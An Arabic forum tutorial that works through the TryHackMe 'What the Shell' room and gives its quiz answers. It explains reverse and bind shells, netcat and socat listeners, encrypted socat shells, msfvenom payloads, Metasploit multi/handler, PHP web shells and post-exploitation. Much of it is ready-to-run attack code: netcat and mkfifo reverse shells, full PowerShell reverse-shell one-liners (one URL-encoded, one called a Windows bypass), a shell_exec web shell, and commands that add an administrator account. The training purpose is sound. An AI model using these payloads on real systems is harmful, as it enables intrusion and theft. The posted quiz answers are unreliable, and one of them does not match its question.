






السمعة:
- إنضم17 يونيو 2023
- المشاركات 515
- الحلول 10
- مستوى التفاعل 1,106
- النقاط 93

الـ shells

1 . ماذا يعني shell وأنواعه وأمثله عليهم
2 . الـ Netcat Shell واستقرارها والـ Socat Shell وتشفير الـ shells
3 . الـ Shell Payloads
4 . الـ msfvenom والـ multi/handler
5 . الـ Web Shells
6. امثله على linux و windows
الاسئلة من TryHackMe | What the Shell
ماذا يعني shell
وأنواعه وأمثلة عليهم
الـ shell هو عبارة عن طريقة للتحكم في جهاز حاسوب عن بُعد، يعني لما بتدخل على جهاز حاسوب من جهاز ثاني وبتستخدمه بدون ما تكون قريب منه وأنواعه وأمثلة عليهم
بإمكانك تشغل الـ shell عن طريق برامج مثل bash أو sh وفي ويندوز بكونو على شكل برامج زي cmd.exe و Powershell
احيانا لما تهاجم جهاز حاسوب عن بُعد بإمكانك تجبر برنامج بشتغل على السيرفر (مثل خادم ويب) أنو ينفذ أوامر عشوائية وهاي فرصة ممكن تستخدمها للحصول على الـ shell يعني تفتح لنفسك نافذة عشان تتحكم في جهاز مستهدف
ببساطة بنقدر نجبر السيرفر البعيد إما يرسللنا وصول لسطر الأوامر على السيرفر ( reverse shell ) أو يفتح منفذ على السيرفر بنقدر نتصل فيه عشان ننفذ أوامر أخرى ( bind shell )
مجموعة من الأدوات اللي بتساعدنا ناخذ reverse shell ونبعث bind shell
الـ Netcat :
هي الأداة التقليدية اللي ممكن نحكي عنها إنها سويسرا الشبكات ( بنهّف

بتستخدم لعمل كل شيء في التواصل على الشبكات
المهم فيها انها بتقدر تستقبل reverse shell وتتصل بمنافذ بعيدة على الأجهزة المستهدفة لعمل bind shell لكن الشل اللي بتنولد بالـ Netcat عادة مش مستقرة (سهلة تفقدها) بشكل افتراضي بس ممكن تتحسن باستخدام تقنيات راح نتكلم فيها لاحقًا
الـ Socat :
بتقدر تعمل كل الحركات اللي بتعملها الـ Netcat وأكثر والـ shell اللي بتنولد بالـ Socat عادة أكثر استقرار من الـ Netcat
الـ Socat أفضل من الـ Netcat بشكل كبير
بس فيها مشكلتين :
- الصيغة الخاصة فيها أصعب
- الـ Netcat موجودة في كل توزيعات لينكس تقريبًا بشكل افتراضي، بينما الـ Socat نادرًا ما تكون مثبتة افتراضيًا
كلاً من الـ Netcat والـ Socat فيهم نسخ exe. للاستخدام على ويندوز
الـ Metasploit -- multi/handler :
الـ exploit/multi/handler في إطار Metasploit
زي الـ Netcat والـ Socat يستخدم لاستقبال reverse shell بسبب إنه جزء من إطار Metasploit الـ multi/handler بوفر طريقة كاملة لاستقبال الـ shell بشكل مستقر مع مجموعة متنوعة من الخيارات لتحسين الـ shell اللي تم التقاطه + هو الطريقة الوحيدة للتفاعل مع الشل meterpreter وهو أسهل طريقة للتعامل مع الـ payloads
اولا يجب استخدام exploit/multi/handler يستخدم هذا الأمر بشكل خاص لإعداد ( listener ) لاستقبال الاتصالات الواردة من الأنظمة المستهدفة بعد استغلال الثغرات فيها.
الـ Msfvenom :
الـ msfvenom فنياً جزء من إطار Metasploit بس هي عبارة عن أداة مستقلة تستخدم لتوليد payloads بينما الـ msfvenom بقدر يولد payload غير reverse shell و bind shell
بجانب الأدوات اللي حكينا عنها في مخازن للـ shells في لغات كثيرة وحدة من أهم الـ shell هي Payloads all the Things وفي كمان Cheatsheet مشهورة
وايضا Kali Linux بيجي معاه مجموعة من الـ shells مثبتة مسبقاً في usr/share/webshells
مستودع SecLists بالرغم من أنه بشكل أساسي يستخدم لقوائم الكلمات برضه بحتوي على بعض الكود's المفيدة جدًا للحصول على الـ shell
انواع الـ shell
1. الـ reverse shell هو عند إجبار الهدف على تنفيذ كود يتصل بجهازك ويعتبر الأكثر شيوعًا
على جهازك بتستخدم أحد الأدوات اللي ذكرناها قبل لإعداد مستمع يُستخدم لاستقبال الاتصال
ميزتها // انها طريقة جيدة لتجاوز قواعد جدار الحماية التي قد تمنعك من الاتصال بمنافذ عشوائية على الهدف
سلبيتها // هو أنه عند استقبال شل من جهاز عبر الإنترنت بتحتاج لتكوين شبكتك الخاصة لقبول الشل ( تفتح منفذ على جهازك عشان تستقبل الاتصال القادم من الهدف )
2. الـ bind shell هو لما نستخدم كود معين يتم تنفيذه على الهدف لبدء استماع ( مرتبط بشل مباشرة على الهدف )
بعدها بتقدر تتصل بالمنفذ اللي فتحه الكود والحصول على remote code execution بهاي الطريقة
ميزتها انها ما بتحتاج تفتح بورت او تكون شبكتك لاي اشي لكن سلبيتها انه قد يتم منعها من قبل جدران الحماية اللي بتحمي الهدف
مثال على الـ reverse shell
عندنا المستمع - هاد اللي بستقبل الاتصال ( بنكتبه على جهازنا )
عندنا المستمع - هاد اللي بستقبل الاتصال ( بنكتبه على جهازنا )
كود:
sudo nc -lvnp 443
وعندنا هون بالصوره محاكاة لإرسال reverse shell
ممكن يكون حقن الكود على موقع ويب عن بعد او اي شي زي هيك
عندنا الامر ( بنكتبه على جهاز الهدف )
كود:
nc <LOCAL-IP> <PORT> -e /bin/bash
بعد ما نشغل الأمر بستقبل المستمع اتصال
مثال على الـ bind shell
عندنا المستمع - ( بنكتبه على جهاز الهدف )
كود:
nc -lvnp <port> -e /bin/bash
عندنا الامر ( بنكتبه على جهازنا )
كود:
nc <TARGET_IP> <PORT>
بعد ما نشغل الأمر بنستقبل اتصال
يمكن أن تكون الـ shell تفاعلية أو غير تفاعلية
تفاعلية : إذا كنت قد استخدمت Powershell أو Bash أو Zsh أو sh أو أي بيئة واجهة سطر الأوامر القياسية الأخرى
بتسمحلك هاي بالتفاعل مع البرامج بعد تنفيذها مثلا
تسجيل الدخول SSH :

هون بنشوف أنها بتطلب بشكل تفاعلي من المستخدم كتابة نعم أو لا لمتابعة الاتصال هاد برنامج تفاعلي بتطلب shell تفاعلي لتشغيله
غير التفاعلية : بتستخدم البرامج اللي ما بتتطلب تفاعل المستخدم لتشغيلها بشكل صحيح
معظم الـ reverse shell والـ bind shell هي غير تفاعلية مما قد يجعل استغلالها أصعب
لاحظ
أن أمر whoami ( الذي هو غير تفاعلي ) يُنفَّذ بشكل مثالي
لكن أمر SSH ( الذي هو تفاعلي ) لا يعطينا أي إخراج على الإطلاق

ما هو نوع الصدفة التي تتصل مرة أخرى بمنفذ الاستماع على جهاز الكمبيوتر الخاص بك، Reverse (R) أو Bind (B)؟
R
لقد قمت بإدخال كود shell ضار في موقع ويب. هل من المحتمل أن تكون القشرة التي تتلقاها تفاعلية؟ (Y or N)
N
عند استخدام bind shell، هل يمكنك تنفيذ المستمع على المهاجم (A) أو الهدف (T)؟
T
الـ Netcat Shell واستقرارها والـ Socat Shell المشفرة
Netcat
الـ Netcat أو الـ nc لها استخدامات متعددة وقيمة جداً للي بشتغل بمجال الاختراق بإمكانها أن تعمل كـ عميل يتصل بمنفذ استماع وايضاً يمكن أن تعمل كـ خادم يستمع على منفذ معين
لكن راح نركز الان على الـ shells
الـ Reverse Shells
الـ Reverse Shells : في السابق شفنا أن الـ Shell بتتطلب shellcode وlistener وفي عديد من الطرق لتنفيذ الـ Shell
صيغه الـ listener
كود:
nc -lvnp <رقم البورت>
الخيار المعنى l- وضع الاستماع p- لتحديد رقم المنفذ n- يجب وضع أرقام فقط v- إخراج مفصل (اختياري، ولكن مفيد لاكتشاف أي أخطاء) vv- مفصل للغاية (اختياري) k- الاستمرار في الاستماع بعد قطع العميل
الـ Bind Shells
الـ Bind Shells : بالحاله هاي بنفترض أنه في listener بانتظارنا على بورت محدد للهدف : كل ما علينا نعمله هو نتصل فيه
الصيغة للضحية :
كود:
nc <عنوان الهدف> <البورت المختار>
ما الخيار الذي يخبر netcat بالاستماع؟
l-
كيف يمكنك الاتصال بواجهة ربط على عنوان IP: 10.10.10.11 باستخدام المنفذ 8080؟
nc 10.10.10.11 8080
استقرار الـ Shell
بعد ما نتصل عن طريق الـ Shell شو الخطوة الجاية؟
الـ Shell هاي ما بتستقر أبدًا بشكل طبيعي لما نضغط Ctrl + C بتقفل كل شيء ما بتكون تفاعلية وغالبًا فيها أخطاء غريبة في التنسيق
السبب إنه الـ Shell في الـ Netcat في الحقيقة هي عمليات بتشتغل جوا التيرمينل في طرق كثيرة لاستقرار الـ Shell في أنظمة لينكس
رح نحكي عن ثلاث طرق
استقرار الـ Reverse Shells على ويندوز بكون أصعب بس الطريقة الثانية اللي رح نحكي عنها بتكون مفيدة خصوصًا لهيك حالات
الطريقة الأولى : بايثون
هي عملية مراحل :
أول شيء لازم نعمله نستخدم
Python:
python -c 'import pty;pty.spawn("/bin/bash")'
اللي بستخدم بايثون عشان يولّدلنا bash shell اللي فيه ميزات أفضل لاحظ إنه بعض الأهداف بتحتاج إصدار معين من البايثون python2 أو python3
بهاي النقطة بتكون الـ shell أفضل شوي بس ما رح نقدر نستخدم التاب أو الأسهم والـ Ctrl + C لسا بتقفل كل شيء
ثاني شيء بنستخدم
Python:
export TERM=xterm
ثالث شيء بنحط
الـ shell بالخلفية باستخدام Ctrl + Z
رابع شيء بنرجع للتيرمينل وبنستخدم
Python:
stty raw -echo; fg
هاد الامر بعمل شغلتين :
بوقف الـ Terminal echo الخاص بنا (اللي بعطينا إمكانية استخدام التاب أو الأسهم والـ Ctrl + C لقتل العمليات ) ( لن يظهر أي مدخلات من المستخدم على الشاشة أثناء كتابتها )
وبخلي الـ shells بالأمام وهيك بتكون العملية كاملة
لو الشل تعطل اكتب reset

الطريقة الثانية: rlwrap
الـ rlwrap مش مثبت افتراضياً على كالي يمكن تثبيته عن طريق الامر
كود:
sudo apt install rlwrap
عشان نستخدم rlwrap بنحطه قبل الأمر اللي بنشغل فيه الـ shell يعني بنكتب
كود:
rlwrap nc -lvnp <port>
الفكرة كلها مفيدة خصوصاً لما نكون بنتعامل مع shells ويندوز اللي بالعادة بكونوا صعبين شوي
الطريقة الثالثة: Socat
راح نتوسع فيها بعد شويتعتبر محدودة للأهداف اللينكس , shell socat على ويندوز ما رح يكون أكثر استقرارًا من shell netcat
لتنفيذ هاي الطريقة من التثبيت بنضيف أول شيء نسخة ثابتة من socat للجهاز الهدف
الطريقة عادية لتحقيق هاد الاشي بأننا نستخدم خادم ويب
كود:
sudo python3 -m http.server 80
كود:
wget (wget <LOCAL-IP>/socat -O /tmp/socat)
لأجل الاكتمال في بيئة سطر الأوامر في ويندوز نفس الاشي يمكن عمله باستخدام الـ PowerShell بالاعتماد على Invoke-WebRequest أو فئة النظام لطلب الويب اعتمادًا على الإصدار من الـ PowerShell المثبت
كود:
Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
من ناحيه التنسيق
أول شيء، افتح التيرمينل واكتب
كود:
stty -a
بعدين، في شل الاستقبال أو الارتباط الخاصه فينا بنكتب :
كود:
stty rows <number>
و
كود:
stty cols <number>
حط الأرقام اللي حصلت عليها من تنفيذ الأمر في تيرمينل الخاصه فيك
هاد رح يغيّر العرض والارتفاع المسجل للتيرمينل وهيك بسمح لبرامج متل محررات النصوص اللي بتعتمد على هيك معلومات يتم فتحها بشكل صحيح
كيف يمكنك تغيير حجم المحطة الطرفية الخاصة بك بحيث تحتوي على 238 عمودًا؟
stty cols 238
ما هو بناء الجملة لإعداد خادم الويب Python3 على المنفذ 80؟
sudo python3 -m http.server 80
الـ Socat وتشفير الـ shells
الـ Socat بتشبه الـ Netcat
الطريقة الأسهل اننا نمثل فيها الـ Socat إنها بتوصل بين نقطتين
النقطة الأولى بتكون البورت اللي بنستمع عليه والنقطة الثانية الكيبورد , ممكن تكون نقطة الوصل بين بورت وملف وحتى بين بورتين
بالبساطة هاي الـ Socat بقدم رابط بين نقطتين
الـ Reverse Shells
زي ما حكينا قبل الصيغة للـ Socat أصعب بكتير من الـ Netcat
الصيغه للإستماع بالـ Reverse shell :
كود:
socat TCP-L:<رقم بورت> -
زي ما بنعرف إن الـ Socat بوصل نقطتين مع بعض النقطتين هدول بورت الإستماع والـ input وبوصل بينهم الـ shell الناتج مش مستقر بس شغال على لينكس وويندوز
على ويندوز بنستخدم الأمر هاد عشان نرجع :
كود:
socat TCP:<الآيبي-المحلي>:<البورت-المحلي> EXEC:powershell.exe,pipes
الـ pipes بنستخدمها عشان نجبر powershell (أو cmd.exe) يستخدم الـ standard input and output على طريقة Unix
والأمر المعادل اذا كان الهدف لينكس :
كود:
socat TCP:<الآيبي-المحلي>:<البورت-المحلي> EXEC:"bash -li"
الـ Bind Shells
الصيغه اللي المهاجم
كود:
socat TCP:<TARGET-IP>:<TARGET-PORT> -
الصيغه للضحية على لينكس
كود:
socat TCP-L:<PORT> EXEC:"bash -li"
الصيغه للضحية على ويندوز
كود:
socat TCP-L:<البورت> EXEC:powershell.exe,pipes
أقوى استخدامات Socat : الـ tty reverse shell لانها تعتبر أكثر استقرارًا ( على الهدف نظام لينكس )
حكينا قبل عن الأداة انها متعددة الإستخدامات بشكل كبير بس التقنية هاي من أهم استخداماتها
الصيغة للـ listener :
كود:
socat TCP-L:<port> FILE:`tty`,raw,echo=0
زي ما بنعرف إن الـ Socat بوصل نقطتين مع بعض النقطتين النقطتين هدول هم بورت للإستماع وملف
معظم الأجهزة ما بتيجي مع Socat مثبتة بشكل افتراضي بس ممكن تنزل برنامج Socat مترجم precompiled socat وبعدين بتشغله عادي
الأمر :
socat TCP:<آيبي-المهاجم>:<البورت-المهاجم> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
الجزء الأول سهل -- بنتصل بالليستنر اللي شغال على الجهاز الخاص فينا
الجزء التاني من الأمر بعمل جلسة باش تفاعلية بالباش مع "EXEC:"bash -li
الـ pty بخصص تيرمينال مزيفه خاصه بالهدف
الـ stderr عشان يظهر أي رسائل خطأ في الـ shell (غالبًا مشكلة في shells الغير تفاعلية)
الـ sigint بمرر أي أوامر Ctrl + C للعملية الفرعية فـ بنقدر نوقف الأوامر جوا الـ shell
الـ setsid بنشئ العملية في جلسة جديدة
الـ sane بثبت التيرمينال وبحاول يجعله normalise قدر الإمكان
لاحظ أن الـ shell بالـ Socat متفاعل , له القدرة على استخدام أوامر تفاعلية زي الـ SSH
لو شيل الـ Socat ما بتشتغل صح بنقدر نضيف الامر عشان نزود الدقة بإضافة d -d- للأمر
كيف يمكننا جعل socat يستمع على منفذ TCP 8080؟
TCP-L:8080
تشفير الـ shells
في شغله حلوه بـ Socat إنك بتقدر تخلي الـ shells مشفرة يعني ما حد بقدر يتجسس عليها إلا لو عندو مفتاح التشفير وكمان بتقدر تتجاوز نظام الكشف عن الاختراقات (IDS) لأنها مشفرة
الفرق عن قبل كل مرة بنستخدم TCP لازم نغيرها ونحط OPENSSL عشان تكون الـ shells مشفرة
قبل ما نبدا شرح عن الـ shells مشفرة لازم نحكي عن الشهادات
لازم نولّد شهادة عشان نستخدم الـ shells المشفرة
بإمكاننا نعمل هاد الاشي عن طريق الامر :
كود:
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
هاد الأمر بعمل مفتاح RSA بطول 2048 بت مع ملف شهادة وبتوقيع ذاتي وصالح لأقل من سنة
لما تشغّل هاد الأمر بطلب منك تعبي معلومات عن الشهادة بتقدر تخليها فاضية أو تعبيها عشوائي
بعدين لازم ندمج الملفين اللي عملناهم بملف واحد pem. عن طريق الامر :
كود:
cat shell.key shell.crt > shell.pem
لما نعمل reverse shell بنستخدم الامر هاد :
الصيغة للـ listener :
كود:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
هيك بنخلي listener مشفر باستخدام الشهادة اللي عملناها
verify=0 معناها إنو ما في داعي يحاول يتحقق إذا كانت الشهادة صحيحة أو لأ , لازم تعرف إنه الشهادة لازم تستخدم على الجهاز اللي بكون عليه الاستماع
وبالنسبة للاتصال الراجع بنستخدم الامر :
كود:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
نفس التقنية بنطبقها على الـ bind shell :
على الهدف بنستخدم الامر :
كود:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:"/bin/bash",pipes
على جهازي المهاجم :
كود:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
حتى لو كان الهدف ويندوز لازم نستخدم الشهادة مع الاستماع فبتحتاج تنسخ ملف PEM لعمل bind shell
استخدم المنفذ 53 وملف PEM المسمى "encrypt.pem"
البناء للمطوب بدون تشفير هو
كود:
socat TCP-L:53 FILE:`tty`,raw,echo=0
ما هو بناء الجملة لإعداد OPENSSL-LISTENER باستخدام تقنية tty من المهمة السابقة؟
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
البناء للمطوب بدون تشفير هو
كود:
socat TCP:10.10.10.5:53 EXEC:"bash -li"،pty،stderr،sigint،setsid،sane
إذا كان عنوان IP الخاص بك هو 10.10.10.5، فـ ما هي الصيغة التي ستستخدمها للاتصال مرة أخرى بهذا الـ LISTENER ؟
socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
الـ Shell Payloads
راح نحكي عن بعض الأدوات والتقنيات اللي بتستخدم في اختراق الأنظمة أشياء مثل الـ بايلود's اللي هي عبارة عن برمجية تستخدم في اختراق الأنظمة
سبق وحكينا عن الـ Netcat
وبـ الويندوز ما يحتوي على خواص معينه
مثل هذا
كود:
nc <LOCAL-IP> <PORT> -e /bin/bash
بس هذا الأمر بشتغل على الويندوز :
الأمر هاد للـ listener
كود:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
والأمر هاد يستخدم لعمل ريفيرس شيل :
كود:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
لكن لو كنت بتستهدف نظام ويندوز حديث بتحتاج ريفيرس شيل عبر باورشيل وهذا ألامر مفيد لكن ممكن الويندوز تكتشفه وما تشغله :
كود:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
بمجرد ما تنفذ هذا الأمر راح تتحكم في النظام اللي حطيت عنوانه الآي بي والبورت الخاص فيه
من المثال المعطى

موقع PayloadsAllTheThings فيه كم هائل من البايلود's المختلفة بأكثر من لغة
هاد البايلود هديه بعمل باي باس على الويندوز


Bash:
powershell -c "do {Start-Sleep -Seconds 1; try{$TCPClient = New-Object Net.Sockets.TCPClient('ip', port)} catch {}} until ($TCPClient.Connected); $NetworkStream = $TCPClient.GetStream(); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0x00}; $StreamWriter.Write($String + 'SHELL> '); $StreamWriter.Flush()}; WriteToStream ''; while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1); $Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}; WriteToStream ($Output)}; $StreamWriter.Close()"
ما الأمر الذي يمكن استخدامه لإنشاء pipe في Linux؟
mkfifo
الـ msfvenom والـ multi/handler
سبق وحكينا عن الـ Msfvenomمقدمة عن Msfvenom:
هي أداة مهمة في إطار Metasploit تُستخدم لإنشاء payloads (أو برامج ضارة) التي يمكن استخدامها لأغراض الاختراق. يُمكن تخصيص هذه ال payloads لأنظمة متنوعة مثل Windows وLinux وغيرها.
أمثلة على استخدام Msfvenom:
- انشاء Payload لنظام Windows بصيغة exe:
النتيجة: ستحصل على ملف “rev_shell.exe” يمكن تشغيله على جهاز Windows المستهدف.كود:msfvenom -p windows/meterpreter/reverse_tcp LHOST=( IP ) LPORT=( port ) -f exe > rev_shell.ex
- انشاء Payload لنظام Linux بصيغة elf:
النتيجة: ستحصل على ملف “rev_shell.elf” يمكن تشغيله على جهاز Linux المستهدف.كود:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=( IP ) LPORT=( port ) -f elf > rev_shell.elf
- انشاء Payload لاستخدام لغة PHP:
النتيجة: ستحصل على ملف “rev_shell.php” يمكن تنفيذه على خادم ويب يستخدم PHP للحصول على الوصول.كود:msfvenom -p php/meterpreter_reverse_tcp LHOST=( IP ) LPORT=( port ) -f raw > rev_shell.php
- انشاء Payload لاستخدام لغة Python:
النتيجة: ستحصل على ملف “rev_shell.py” يمكن تنفيذه باستخدام Python على الجهاز المستهدف.كود:msfvenom -p cmd/unix/reverse_python LHOST=( IP ) LPORT=( port ) -f raw > rev_shell.py
وكمان بقدر ينشئ بايلود's بصيغ مختلفة زي exe. و aspx. و war. و py.
استخدام الـ msfvenom بالشكل الصحيح هو :
كود:
msfvenom -p <PAYLOAD> <OPTIONS>
مثلا لو بدنا ننشئ revers shell على نظام ويندوز 64 بت بصيغة exe بنستخدم الامر هاد :
كود:
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
في نوعين من البايلود's اللي هما staged و stageless
- Staged payloads : هذا النوع من الـ shell's يتم إرساله بجزئين ( الاشاره اللي بتدل انو البايلود هيك هي ( / ) )
الجزء الأول بتصرف كمدخل صغير للهدف بس هو ما فيه كود للـ shell بنفسه , يستخدم الجزء الأول للاتصال بالجهاز اللي بنستخدمه لاستقبال الشلة و
الجزء الثاني هو الـ shell الحقيقية اللي يتم تنفيذها على الجهاز المستهدف الهدف من هاد التقسيم إنو يمنع اكتشاف الـ shell من قبل برامج مكافحة الفيروسات - Stageless payloads : هذا النوع من الشلات بكون كامل بذاته يعني ما فيه جزء مقسم هاي الـ shell أسهل بالاستخدام ولكنها أكبر حجمًا وأكثر تعرضًا للاكتشاف من قبل برامج مكافحة الفيروسات الاشاره اللي بتدل انو البايلود هيك هي ( _ )
أسماء البايلود's في msfvenom
النظام الأساسي لإسماء البايلود's هو :
<نظام التشغيل>/<arch>/<البايلود's>
مثلاً:
كود:
linux/x86/shell_reverse_tcp
الامر هاد بنشئ revers shell TCP لنظام Linux بنوع الـ arch هي x86
الاستثناء من القاعدة هاي هو للأهداف على الويندوز 32بت فيها لا يتم تحديد نوع الـ arch مثال:
كود:
windows/shell_reverse_tcp
بالنسبة لهدف ويندوز 64بت بتحدد نوع الـ arch
البايلود's اللي بتحتوي على underscore ( _ ) بتكون stageless يعني ما فيها مراحل أما
البايلود's اللي فيها forward slash (/) فهي staged
وبنطبق ايضا على حمولات بايلود's الـ meterpreter لهدف ويندوز ـ 64بت :
كود:
windows/x64/meterpreter/reverse_tcp
وبالنسبة بايلود's الـ meterpreter لهدف Linux ـ 32بت :
كود:
linux/x86/meterpreter_reverse_tcp
في عننا الامر
كود:
msfvenom --list payloads
بعرضلنا كل البايلود's المتاحة وبتقدر تستخدمه مع grep عشان تبحث عن بايلود's معينة من الحمولات مثال :
كود:
msfvenom --list payloads | grep linux/x86/meterpreter
هذا بعطينا مجموعة كاملة من بايلود's الـ meterpreter لأهداف Linux بـ arch ـ 32بت
ما الرمز الذي يُستخدم لتوضيح أن shell غير مراحلية ( stageless ) ؟
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=443 -f elf -o shell
الـ multi/handler
الـ Multi/Handler : أداة رائعة جدًا لأتقاط reverse shellsطريقه استخدامها
- افتح Metasploit بـ msfconsole
- اكتب use multi/handler واضغط Enter
الخيارات المتاحة باستخدام الأمر options :
في ثلاث خيارات لازم نعدل عليها الـ payload والـ LHOST والـ LPORT
هدول كلهم زي اللي بنعملهم لما بنولد shell باستخدام Msfvenom - payload محدد للهدف وعنوان ومنفذ الاستماع بنقدر نستقبل منه الـ shell
كيف نعدل هاي الخيارات عن طريق الاوامر التاليه :
كود:
set PAYLOAD <payload>
set LHOST <ip عنوان الـ >
set LPORT <البورت>

هيك احنا جاهزين لالتقاط اي اتصال
بنقدر نشغل الـ listener عن طريق الامر التالي
exploit
او
run
او ممكن نستخدم الامر
exploit -j
معناه يشغل الـ listener كـ job في الخلفية
بنقدر نشوف اذا في عننا اي session شغاله حاليا عن طريق امر sessions وبعدها بنقدر نخليها بالمقدمه عن طريق الامر ( رقم sessions -i ) عشان نختار الـ session اللي بدنا اياها عن طريق الامر
( رقم sessions )
ما الأمر الذي يمكن استخدامه لبدء المستمع في الخلفية؟
exploit -j
إذا كنا تلقينا للتو revers shell من الـ session العاشرة فـ ما هو الأمر الذي سيتم استخدامه لجعلها بالمقدمه ؟
sessions -i 10
الـ Web Shells و ما بعد الاستغلال
الـ Web Shells ببساطة بشتغل جوا الويب سيرفر (عادة بلغات زي PHP أو ASP) اللي بينفذ كود على السيرفر
في الأساس بنكتب الأوامر في صفحة الويب - إما عن طريق فورم HTML أو مباشرة في الـ URL - والبرنامج بنفذ الأوامر هاي وبرجعلنا النتيجة وبكتبها على الصفحة
الـ PHP هي أكثر لغة scripting مستخدمة على السيرفرات
مثال بشكل بسيط :
كود:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
الكود هاد بوخد باراميتر GET من الـ URL وبنفذه على النظام باستخدام ()shell_exec
يعني أي أوامر بنكتبها بالـ URL بعد =cmd? بتتنفذ على النظام - سواء كان ويندوز أو لينكس , العنصر pre بضمن إن النتائج تتنسق بشكل صحيح على الصفحة

زي ما هو مبين بالصوره استخدمنا الأمر ifconfig اللي رجع معلومات الشبكة صح يعني لما دخلنا أمر ifconfig (اللي بشيك على واجهات الشبكة في لينكس) في الـ URL الخاص بالـ shell اللي دخلناه نفذ الامر على النظام ورجعلنا النتائج واكيد لو جربنا اوامر ثانيه بتشتغل زي (whoami، hostname، arch، إلخ)
في مجموعه من الـ shell موجوده في لينكس بشكل تلقائي زي ما حكينا قبل بهاد المسار /usr/share/webshells - منها الـ PentestMonkey php-reverse-shell اللي يعتبر مشهور مكتوب بلغة PHP معظم الـ revers shells مكتوبة لأهداف معينه مثل اهداف مبنية على يونيكس زي لينكس...الخ لكن ما بشتغلو على ويندوز بشكل افتراضي
لما الهدف يكون ويندوز أسهل طريقة عشان نحصل على RCE هي استخدام Web Shells أو باستخدام msfvenom لتوليد revers/bind shell بلغة السيرفر
بالطريقة الأولى عشان نحصل على تنفيذ عن بُعد بنعملها عن طريق shell powershell مشفرة في الـ URL هاد بنتسخ بالـ URL كـ argument تحت اسم cmd :
كود:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
هاي نفس الشل اللي سبق واعطينا عنها مثال قبل بالموضوع الـ Shell Payloads بس هون مشفرة بشكل مُناسب لتستخدم في باراميتر GET واكيد الآي بي والبورت لسا لازم يتغير في الكود
ما بعد الاستغلال:
تقنيات الوصول والتحكم في النظام
تقنيات الوصول والتحكم في النظام
ببعض الاختراقات بتقدر تضيف حسابك بنفسك مثلا شيء مثل Dirty C0w أو امكانية كتابة في الملفات etc/shadow/ أو etc/passwd/ بعطيك وصول SSH سريع للجهاز طبعاً بشرط إن الـ SSH مفتوح
على ويندوز الخيارات عادةً بتكون محدودة أكثر ببعض الأحيان بتقدر تحصل على كلمات السر للخدمات اللي شغالة في السجل مثلاً سيرفرات VNC عادة بتخلي كلمات السر في السجل مخزنة على طول بعض إصدارات سيرفر FTP FileZilla كمان بتترك بيانات الولوج في ملف XML في C:\Program Files\FileZilla Server\FileZilla Server.xml أو C:\xampp\FileZilla Server\FileZilla Server.xml هاي البيانات بتكون إما عبارة عن تشفير MD5 أو بنص مفتوح
في العادة على ويندوز الهدف هو تحصيل shell يشتغل تحت مستخدم SYSTEM أو حساب الـ administrator في مثل هاي الحالات بإمكانك ببساطة إضافة حسابك كـ administrator وبعدها تسجل دخول عن طريق RDP,Telnet ، winexe ، psexec ، WinRM أو أي طريقة ثانية
الأوامر لهاي الشي هي كالتالي:
كود:
net user <كلمة_السر> <اسم_المستخدم> /add
كود:
net localgroup administrators <اسم_المستخدم> /add
امثله على linux و windows
قم تنفيذ الخطوات التاليه
- رفع شل الويب على الصندوق اللينكس :
- انتقل إلى مسار الملف /usr/share/webshells/php/
- قم بتعديل ملف php-reverse-shell.php لتتوافق عنوان الآي بي والبورت مع عنوانك الحالي والبورت المخصص
- رفع الملف المعدل على الويب سيرفر باستخدام أي أسلوب تحميل ملفات
- تشغيل شيل PHP واختباره :
- انشئ مستمع Netcat على جهازك للتحقق مما إذا كان الشيل المعدل يعمل أم لا
